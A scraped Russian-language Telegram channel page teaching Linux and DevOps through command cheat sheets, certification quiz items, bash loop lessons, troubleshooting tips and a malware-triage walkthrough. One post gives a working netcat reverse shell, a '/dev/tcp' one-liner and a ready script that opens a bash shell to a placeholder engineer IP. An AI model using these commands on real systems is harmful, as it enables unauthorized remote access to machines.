Linux Skill - Освой Linux c нуля до DevOps – Telegram
Linux Skill - Освой Linux c нуля до DevOps
11.3K subscribers
67 photos
103 videos
499 links
Освой Linux c нуля до DevOps
Подробный гайд по Linux и море других уроков для системных администраторов

📩 По всем вопросам: @chorapov

РКН https://vk.cc/cMUwm4
Download Telegram
🚀 Мы запустили второй канал — @gradelift
Карьерный рост, разборы собесов и аналитика рынка DevOps

👋 Привет от команды @linuxskill!
Я уже писал что давно вынашиваю эту идею — и теперь сделали MVP стартапа Грейд Лифт.

Если ты когда-то спрашивал себя:
> «А я точно Middle?»
> «Почему мне не отвечают на резюме?»
> «Что нужно, чтобы пробиться выше?»

📡 @gradelift — это канал про реальный рост в DevOps, без воды.

Анализируем рынок, спрашиваем HR и собираем конкретные рекомендации, чтобы ты знал:
* как пройти собес,
* как расти в грейде,
* как перестать тупить на резюме.

📌 В @gradelift уже сделали глубокую аналитику 150 вакансий hh.ru. И вот что уже ждет в канале:
* Junior DevOps: с чего начать, чтобы пройти собес
* Пример вакансии по средним данным на рынке: Junior DevOps
* Middle DevOps — где заканчивается джун?
* Пример вакансии по средним данным на рынке: Middle DevOps
* Senior DevOps — ты не просто инженер, ты архитектор
* Пример вакансии по средним данным на рынке: Senior DevOps в международном проекте (удалённо)
* Junior vs Middle vs Senior DevOps: чем они реально отличаются?

💡 Позже выйдет:
* Самые востребованные технологии в DevOps-вакансиях
* Самые редкие DevOps-технологии, которые почти не ищут
* Технологии, которые стоит забыть DevOps-инженеру
* 10 DevOps-инструментов, которые стоит выучить в 2025

🔥 Подпишись на @gradelift, если хочешь карьеру, а не просто стек в голове. И расскажи другу, который всё ещё «джун, но вроде не совсем».
👍10🔥1
🚀 Топ команды для DevOps: Что спрашивают на собеседованиях?

Привет, линукс-мастер! Сегодня я расскажу тебе о командах, которые часто спрашивают на собеседованиях для DevOps-инженеров. Эти команды помогут уверенно чувствовать себя на интервью и в повседневной работе.
Давай разберемся, что нужно знать 👇

🔧 Git

git init                        # Инициализация нового репозитория
git clone <url> # Клонирование репозитория
git add <file> # Добавление файла к коммиту
git commit -m "сообщение" # Создание коммита
git push # Отправка изменений
git pull # Получение изменений
git branch # Список веток
git checkout <branch> # Переключение ветки


🐳 Docker

docker build -t <image_name> .         # Создание образа
docker run -d -p 80:80 <image_name> # Запуск контейнера
docker ps # Список контейнеров
docker stop <container_id> # Остановка контейнера
docker rm <container_id> # Удаление контейнера
docker images # Список образов
docker rmi <image_id> # Удаление образа


☸️ Kubernetes (kubectl)

kubectl get pods                         # Список подов
kubectl get services # Список сервисов
kubectl describe pod <pod_name> # Информация о поде
kubectl logs <pod_name> # Логи пода
kubectl apply -f <file.yaml> # Применение конфигурации
kubectl delete pod <pod_name> # Удаление пода
kubectl exec -it <pod_name> -- /bin/bash # Подключение к поду


🤖 Ansible

ansible-playbook <playbook.yml>                   # Запуск плейбука
ansible <host> -m ping # Проверка хостов
ansible <host> -m command -a 'uptime' # Выполнение команды
ansible-galaxy install <role> # Установка роли


🌍 Terraform

terraform init       # Инициализация
terraform plan # Планирование изменений
terraform apply # Применение изменений
terraform destroy # Удаление ресурсов


🐧 Linux (bash)

ls                                # Список файлов
cd <directory> # Переход в каталог
pwd # Текущий каталог
cp <source> <destination> # Копирование
mv <source> <destination> # Перемещение
rm <file> # Удаление
mkdir <directory> # Создание каталога
grep <pattern> <file> # Поиск шаблона
find <directory> -name <pattern> # Поиск файлов
chmod <permissions> <file> # Изменение прав
chown <user>:<group> <file> # Изменение владельца
top # Мониторинг процессов
ps aux # Список процессов


🔄 CI/CD (GitLab, Jenkins, GitHub Actions)

GitLab CI/CD:
.gitlab-ci.yml
gitlab-runner register


Jenkins:
jenkins-cli.jar
jenkins-jobs create <job_name>


GitHub Actions:
.github/workflows/<workflow>.yml
workflow_dispatch


📌 Эти команды охватывают управление версиями, контейнеризацию, оркестрацию, автоматизацию и администрирование.
Изучи, запомни, сохрани — и чувствуй себя уверенно на любом собесе!


📩 Завтра: Укроти символические ссылки с namei -n!
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Секреты Zabbix: Мониторинг веб-серверов без проблем
🧠 - Мониторинг серверов с помощью Zabbix: Настройка мониторинга SMART-дисков через Zabbix
🧠 - Измени группу файлов за секунды с помощью chgrp

#Linux_Mastery @LinuxSkill #devops #GitHub #Jenkins #GitLab #bash #Kubernetes #Docker #Git
👍17🔥4
🔗 Укроти символические ссылки с namei -n!

Привет, укротитель символических ссылок! Устал от бесконечных переходов по ссылкам? namei с опцией -n - твое секретное оружие!

Смотри, как это работает:

Обычный namei:
namei /home/himanshu/link1

f: /home/himanshu/link1
d /
d home
d himanshu
l link1 -> file1
- file1


А теперь с опцией -n:
namei -n /home/himanshu/link1

f: /home/himanshu/link1
d /
d home
d himanshu
l link1 -> file1


Видишь разницу? С -n namei останавливается на символической ссылке, не следуя за ней.

Это полезно когда:
1. Ты хочешь увидеть только структуру ссылок
2. Нужно избежать зацикливания в сложных структурах ссылок
3. Ты отлаживаешь проблемы с символическими ссылками

📩 Завтра: Вопрос №23 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Автоматизируй управление группами файлов с chgrp
🧠 - Секреты успешного CI/CD: Gitea и GitHub Actions, которые ты должен знать
🧠 - Автоматизируй сборку и деплой с GitLab: практическое руководство

#Linux_Mastery @LinuxSkill #namei
👍11
Вопрос №23 из теста Linux Essentials Certification: Какого ключевого слова не хватает в следующем фрагменте shell-скрипта?
Anonymous Quiz
13%
fi
13%
then
54%
do
11%
run
8%
endo
👍10
for i in *;
----
cat $i
done
Media is too big
VIEW IN TELEGRAM
🔥 7 шагов к безопасному серверу: домен, Nginx, Apache, SSL

Привет, архитектор серверов! 🚀
Если хочешь быстро развернуть защищённый сайт с Nginx и Apache — это видео для тебя.

Зачем смотреть?
Поймешь, как правильно привязать домен.
Настроишь связку Nginx + Apache.
Защитишь проект с помощью SSL-сертификата.

Тайм-коды:
00:07 — Введение и настройка домена
01:46 — Создание пользователя и безопасных паролей
03:31 — Организация хранения паролей
05:16 — Проверка сервера и права доступа
07:47 — Получение и подключение SSL-сертификата
11:50 — Финальная проверка и планы на развитие

🌐 Источник: https://youtu.be/V67CjJOgKYw?si=PIIPoIf4mrXxxO5A

📩 Завтра: Вопрос №24 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Docker и Docker Compose: От новичка до профи за 4 часа
🧠 - Секретное оружие Linux-админа: утилита, которая спасет твою карьеру
🧠 - Раскрой тайны файловой системы с помощью namei

#Linux_youtube @LinuxSkill #Linux #Apache #Nginx #DevOps #SSL
👍8🔥7
Вопрос №24 из теста Linux Essentials Certification: Какой из следующих вариантов создаёт архивный файл с именем backup.tar, содержащий все файлы из директории /home?
Anonymous Quiz
14%
tar /home backup.tar
28%
tar -cf backup.tar /home
11%
tar -xf backup.tar /home
19%
tar -xf /home backup.tar
27%
tar -cf /home backup.tar
👍18👀5
Media is too big
VIEW IN TELEGRAM
⚡️ Bash Урок 1: Введение для новичков

Привет, будущий мастер командной строки! 👋
Сегодня стартуем первый урок большого курса по Bash.

Зачем смотреть?
Ты узнаешь, что такое Bash, зачем он нужен, как автоматизировать задачи через консоль и как сделать свои первые простые скрипты. Всё без сложных терминов и скучных теорий!

Таймкоды:
00:03 — Введение в Bash
01:33 — Основы командных оболочек
03:51 — Настройка PATH
06:18 — Создание и запуск скриптов
11:49 — Работа с подshell
12:46 — Использование shebang
14:06 — Права доступа и запуск скриптов
15:12 — Преимущества Bash

🌐 Источник: https://youtu.be/Le4R0nSKnfI?si=tQ-000EDHkY0ixyl

📩 Завтра: Шпаргалка по циклам в Bash
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Траблшутинг Linux: Основные команды и примеры
🧠 - Linux: Мониторинг оперативной памяти — основные аспекты и инструменты
🧠 - 19 команд, которые сделают тебя гуру systemd!

#Linux_youtube @LinuxSkill #bash #linux #bashскрипты #обучение
👍22🔥5
🔁 Шпаргалка по циклам в Bash

1. for — перебор элементов
for item in one two three; do
echo $item
done


📌 Можно использовать маски:
for file in *.txt; do
cat "$file"
done


🔁 2. while — цикл пока условие истинно
count=1
while [ $count -le 5 ]; do
echo "Iteration $count"
((count++))
done


3. until — цикл пока условие ложно
count=1
until [ $count -gt 5 ]; do
echo "Until loop: $count"
((count++))
done


💥 4. Прерывание и пропуск итераций
break   # Выход из цикла
continue # Пропустить текущую итерацию


📌 5. for с диапазоном чисел
for i in {1..5}; do
echo "Num: $i"
done


🧠 Примечания:
- В цикле for обязательно используй do
- Внутри while и until условия берутся в [ ]
- Переменные инкрементируются через (( )) или let

📩 Завтра: Почему бенчмарки в bash дают разные результаты?
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Мастер-класс по iptables: вставляем, заменяем и удаляем правила
🧠 - Настраиваем iptables с нуля: Полный гайд по фильтрации пакетов
🧠 - Раскрой тайны владения файлами с namei -o!

#Linux_Mastery #Linux_youtube #Bash #циклы
👍22
🚀 Почему бенчмарки в bash дают разные результаты?

Привет, повелитель терминала! 🧙‍♂️

Запустил простой код:

bash -c 'x=0; time while ((x < 999999)); do ((++x)); done'


А время выполнения прыгает от 0.9 до 2.2 секунд? Почему?

Ответ: CPU Frequency Scaling.
Процессор снижает частоту при простое и повышает под нагрузкой.
Из-за этого первое выполнение скрипта медленнее последующих.

Решение:

1. Зафиксировать максимальную частоту ядра:

sudo cpupower -c 0 frequency-set -g performance


2. Закрепить выполнение скрипта за одним ядром:

taskset -c 0 ./your-benchmark


3. После теста вернуть режим энергосбережения:

sudo cpupower -c 0 frequency-set -g powersave


Бонус: Делай "разогревочный" прогон перед реальными замерами и старайся минимизировать фоновую нагрузку.

🌐 Источник: https://unix.stackexchange.com/questions/777424/why-are-my-benchmark-times-not-repeatable-even-for-a-cpu-bound-task

📩 Завтра: Как узнать ВСЁ о железе и системе в Linux за 5 минут
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Мастер-класс по iptables: вставляем, заменяем и удаляем правила
🧠 - Настраиваем iptables с нуля: Полный гайд по фильтрации пакетов
🧠 - Раскрой тайны владения файлами с namei -o!


#stackoverflow @LinuxSkill #linux #bash #benchmark #performance
👍17🔥1
🧠 Как узнать ВСЁ о железе и системе в Linux за 5 минут

Привет, линукс-мастер! 🐧

Хочешь быстро получить полную информацию о процессоре, памяти, дисках, устройствах USB и прочем железе в системе? Лови топ команд для диагностики без лишних движений:

⚙️ Системная информация
- uname -a — версия ядра и архитектура системы.

🖥️ Информация о железе
- lspci — список всех устройств на шинах PCI.
- lsusb — список USB-контроллеров и устройств.
- lshw — детальное описание железа.
- hwinfo — альтернатива lshw с расширенными данными.
- dmidecode — чтение таблицы DMI/SMBIOS (информация о BIOS, материнке, памяти).

🧠 Процессор и память
- lscpu — характеристики процессора.
- free -h — текущая загрузка ОЗУ.
- cat /proc/cpuinfo — подробности о CPU.

🛠️ Диски и файловые системы
- lsblk — список всех блочных устройств.
- blkid — метки разделов и UUID.
- fdisk -l, gdisk -l, parted -l — разметка дисков.
- df -h — свободное место на дисках.
- mount — список смонтированных разделов.

🔥 Дополнительно
- dmesg — лог загрузки ядра и сообщения устройств.
- hdparm -I /dev/sdX — характеристики жестких дисков.
- inxi -Fxz — сводный отчёт о системе и железе.

🛡️ Все команды работают в терминале, без GUI. Удобно для серверов, VPS и быстрой диагностики локальных машин.

📩 Завтра: Вопрос №25 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Превращаем namei в супер-ls с опцией -l!
🧠 - Prometheus: Все Основы Мониторинга — Почему Это Важно
🧠 - Раскрой тайны своего файрвола: просмотр правил iptables!

#Linux_Mastery @LinuxSkill #Linux #Sysadmin #Hardware #Terminal #Diagnostics
👍39
Вопрос №25 из теста Linux Essentials Certification: Какой параметр заставит команду echo не выводить символ новой строки (перенос строки) в конце?
Anonymous Quiz
18%
-e
11%
-p
60%
-n
12%
-s
👀7👍3
Media is too big
VIEW IN TELEGRAM
⚡️ Bash Урок 2: Переменные, массивы и логика

Привет! 👋
Продолжаем наш курс по Bash. Сегодня разберём, как работают переменные, массивы и логические конструкции.

Зачем смотреть?
Если хочешь научиться писать скрипты, управлять данными и принимать решения в своих программах — тебе сюда! Всё подаётся просто, без воды.

Таймкоды:
00:03 — Введение в скриптовый язык Bash
01:32 — Переменные среды
05:43 — Пользовательские переменные
09:02 — Математические операции
15:02 — Массивы
20:03 — Ассоциативные массивы
24:30 — Создание ассоциативного массива
25:49 — Обращение к элементам массива
29:09 — Длина массива
33:07 — Установка и удаление элементов массива
35:05 — Добавление элементов в массив
38:09 — Логические конструкции
47:42 — Сравнение чисел
49:31 — Сравнение чисел (пример)
55:45 — Сравнение строк
01:07:27 — Проверка файлов
01:21:11 — Заключение

🌐 Источник: https://youtu.be/Vfp6O8xCYf0?si=md9BT0z7ACGRJbr_

📩 Завтра: Вопрос №25 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - BTRFS: Твой ключ к суперсиле файловых систем
🧠 - Профессиональная Установка Prometheus на Ubuntu: Полный Гайд
🧠 - Полный список команд и опций для mkfs.btrfs

#bash #linux #bashскрипты #обучение
👍16🔥3
Media is too big
VIEW IN TELEGRAM
🚀 Урок 3 — Освой циклы Bash

Привет! Продолжаем наш интенсив по Bash для новичков и не только.

Сегодня ты узнаешь, как работают основные циклы в Bash — for и while. Эти конструкции — основа автоматизации: от перебора файлов до создания генераторов паролей!

Зачем смотреть этот урок:
Быстро освоишь перебор списков и файлов
Научишься создавать скрипты с условиями
Сможешь генерировать пароли своими руками

Тайм-коды для удобства:
00:04 — Введение в циклы
00:52 — Основы цикла for
01:43 — Примеры использования for
04:34 — Условные конструкции в цикле
07:06 — Проверка спецсимволов
11:02 — Работа с директориями
16:21 — Цикл for в стиле C
21:02 — Цикл while
25:39 — Сравнение for и while
27:59 — Создание генератора паролей
31:31 — Команды break и continue
37:20 — Заключение

🌐 Источник: https://youtu.be/7AyiVxVkY3M?si=xPm_IxlR5DIAJpxa

📩 Завтра: Процесс с неизвестным именем грузит CPU на 25000%! Что происходит?
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Практическое использование mkfs.btrfs: Код и советы
🧠 - Установка Node Exporter на Linux серверах: Полный Гайд
🧠 - IPv6 и iptables: Мастер-класс по безопасности будущего

#Linux_youtube @LinuxSkill #bash #linux #noscripts #bashскрипты #программирование
👍9🔥6
🚨 Процесс с неизвестным именем грузит CPU на 25000%! Что происходит?

Привет, повелитель терминала! На одном из серверов Linux обнаружили странный процесс:
- Имя вроде 89cdb92b, потом меняется на другое (ac1e4262)
- Процесс запущен от root
- CPU загружено на 25369% (!)
- Файл процесса уже удалён: /proc/<PID>/exe → (deleted)

Это может быть майнер или вредоносная программа. Простое перезагружение не решает проблему: процесс появляется снова.

🔍 Что делать:

1. Проверить родителя процесса:
   pstree -sap <PID>


2. Узнать командную строку процесса:
   ps -o args -p <PID>


3. Скопировать бинарник для анализа:
   cp /proc/<PID>/exe /tmp/suspect_binary


4. Безопасно изучить его содержимое:
   strings /tmp/suspect_binary


5. Проверить открытые файлы:
   lsof -p <PID>


6. Изучить логи на момент запуска процесса:
   journalctl -S 'YYYY-mm-dd HH:MM'


📌 Важно: при компрометации — лучше переустановить систему с чистого образа!

🌐 Источник: https://unix.stackexchange.com/questions/782519/high-cpu-usage-by-process-with-obfuscated-name-on-linux-server-potential-attac

📩 Завтра: Как узнать ВСЁ о железе и системе в Linux за 5 минут
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Неожиданные секреты Linux: 12 утилит, которые спасут твой сервер!
🧠 - Открой для себя 15 малоизвестных команд LINUX, которые изменят твою жизнь
🧠 - Как удалить экспортированную переменную окружения в Linux?

#stackoverflow @LinuxSkill #Linux #Security #Malware #CPU #Root
👍22
🛠️ 10 самых частых ошибок в Linux и как быстро их исправить

Привет, цифровые искатели приключений! 🧭

Если ты хоть раз настраивал Linux, ты точно натыкался на эти проблемы.
Лови экспресс-гайд, который спасет тебе часы нервов и дебага!

🛡️ Ошибки при обновлении и установке пакетов

- Почини сломанные зависимости:

  sudo apt-get install -f


- Очисти кэш и обнови пакеты:

  sudo apt-get clean
sudo apt-get update


🌐 Проблемы с сетью

- Проверь интерфейсы:

  ip a


- Перезапусти сеть:

  sudo systemctl restart NetworkManager


- Проверь DNS:

  cat /etc/resolv.conf


🔐 Проблемы с правами доступа

- Выполни команду от суперпользователя:

  sudo <command>


- Исправь права на файлы и каталоги:

  sudo chmod 755 /path/to/dir
sudo chown user:user /path/to/file


🖥️ Проблемы с загрузкой системы

- Восстанови GRUB:

  sudo grub-install /dev/sda
sudo update-grub


- Проверь файловую систему:

  sudo fsck /dev/sda1


🗄️ Нет места на диске

- Посмотри занятое пространство:

  df -h


- Очисти временные файлы:

  sudo apt-get clean
sudo rm -rf /var/cache/apt/archives/*


📡 Проблемы с NFS

- Проверь и перезапусти сервисы:

  sudo systemctl status nfs-server
sudo systemctl restart nfs-server


🐍 Конфликты в Python

- Используй виртуальные окружения:

  python3 -m venv myenv
source myenv/bin/activate
pip install <package>


🔥 Проблемы с SELinux

- Просмотри логи:

  sudo ausearch -m avc -ts recent


- Переключи в permissive-режим:

  sudo setenforce 0


🧩 Ошибки с модулями ядра

- Загрузи модуль вручную:

  lsmod
sudo modprobe <module>


🔥 Проблемы с фаерволом

- Посмотри текущие правила:

  sudo iptables -L


- Открой нужный порт:

  sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT


📚 Забирай эту базу знаний в закладки и экономь часы жизни! Проблемы больше не застанут тебя врасплох.

📩 Завтра: Reverse Shell на практике: подключаемся к скрытому серверу за 1 минуту
Включи 🔔 чтобы не пропустить!
________________

Дополнительный материал:
🧠 - Открой секреты своей системы: 18 команд которые должен знать каждый линуксоид!
🧠 - Осторожно: Никогда не запускай эти 11 команд в Linux!
🧠 - Защита SSH-сервера: порты, ключи и iptables

#Linux_Mastery @LinuxSkill #Linux #Troubleshooting #Errors #Sysadmin #DevOps
👍40🔥6
🚀 Reverse Shell на практике: подключаемся к скрытому серверу за 1 минуту!

Привет, цифровые исследователи и администраторы!

Хочешь получить доступ к серверу за NAT или в приватной сети без прямого IP? Без проброса портов и плясок с VPN?

Лови лайфхак с Netcat — проверенный способ настроить Reverse Shell за пару команд!

#Что делаем:

1. У удалённого инженера на своей машине:

nc -lvnp 2288

> Параметры:
> - -l — слушать входящие подключения
> - -v — подробный режим
> - -n — не использовать DNS
> - -p — указать порт

2. На целевом сервере (внутреннем):

/bin/bash -i > /dev/tcp/IP_инженера/2288 0<&1 2>&1


И вуаля! Инженер получает полноценный терминал с правами текущего пользователя. 🎯

Важно:
- Проверь IP заранее.
- Убедись в правах доступа.
- Используй только в рамках закона и корпоративных правил! ⚖️


🛠️ Автоматизация: скрипт Reverse Shell за 1 команду

Чтобы ещё быстрее организовать подключение, можно использовать мини-скрипт:

#!/bin/bash
read -p "Введите IP инженера: " IP
read -p "Введите порт (по умолчанию 2288): " PORT
PORT=${PORT:-2288}
bash -i >& /dev/tcp/${IP}/${PORT} 0>&1


Как использовать:
1. Сохрани этот код в файл, например reverse_shell.sh.
2. Выдай права на исполнение:
chmod +x reverse_shell.sh

3. Запусти:
./reverse_shell.sh

Скрипт сам спросит IP и порт, а дальше всё произойдёт автоматически!

📩 Завтра: Вопрос №27 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!

____________________

Дополнительный материал:
🧠 - Производительность Nginx против Traefik: кто победит?
🧠 - Как уменьшить размер образа Docker: от 1,2 ГБ до 10 МБ
🧠 - Нужно ли ставить кавычки вокруг переменных в shell-скриптах?

#Linux #Netcat #Security #ReverseShell
👍16👎1
Вопрос №27 из теста Linux Essentials Certification: Какие права установить для файла? Владелец должен открывать и редактировать, а члены группы — только читать. Остальные — без доступа. Какой chmod выбрать?
Anonymous Quiz
5%
0466
20%
0751
7%
0444
13%
0540
56%
0640
👀9👍6
Media is too big
VIEW IN TELEGRAM
🚀 Урок 4 — Почему case круче вложенных if в Bash

Привет! 👋
Сегодня разберём тему, которая сэкономит тебе нервы и часы работы в Bash-скриптах — конструкцию case.
Научимся заменять кучу вложенных if на красивую, компактную структуру.

Зачем смотреть:
- Поймёшь, как избавиться от запутанных вложенных условий.
- Упорядочишь логику скриптов, сделав их читабельнее и надежнее.
- Научишься строить крутые сценарии обработки пользовательского ввода.

Таймкоды:
00:02 — Введение в конструкцию case
02:16 — Пример использования case
05:18 — Мультибор условий
08:43 — Комбинируем case и цикл while
15:09 — Управление циклом с помощью break и exit
23:47 — Заключение о возможностях конструкции
26:35 — Тестирование и демонстрация ошибок
27:27 — Проблемы вложенности if
28:09 — Как сделать код компактным и читаемым
28:20 — Финальные советы и прощание

🌐 Источник: https://www.youtube.com/watch?v=bdTDSprkTGE

📩 Завтра: Вопрос №28 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Мастер-класс по iptables: блокируем IP, создаем файрвол и управляем трафиком!
🧠 - Prometheus - Как установить Grafana, настроить Data Source, добавить Dashboards?
🧠 - Защити свои данные: Автоматическое резервное копирование на Linux

#Linux_youtube @LinuxSkill #bash #linux #скрипты #обучение
👍14🔥2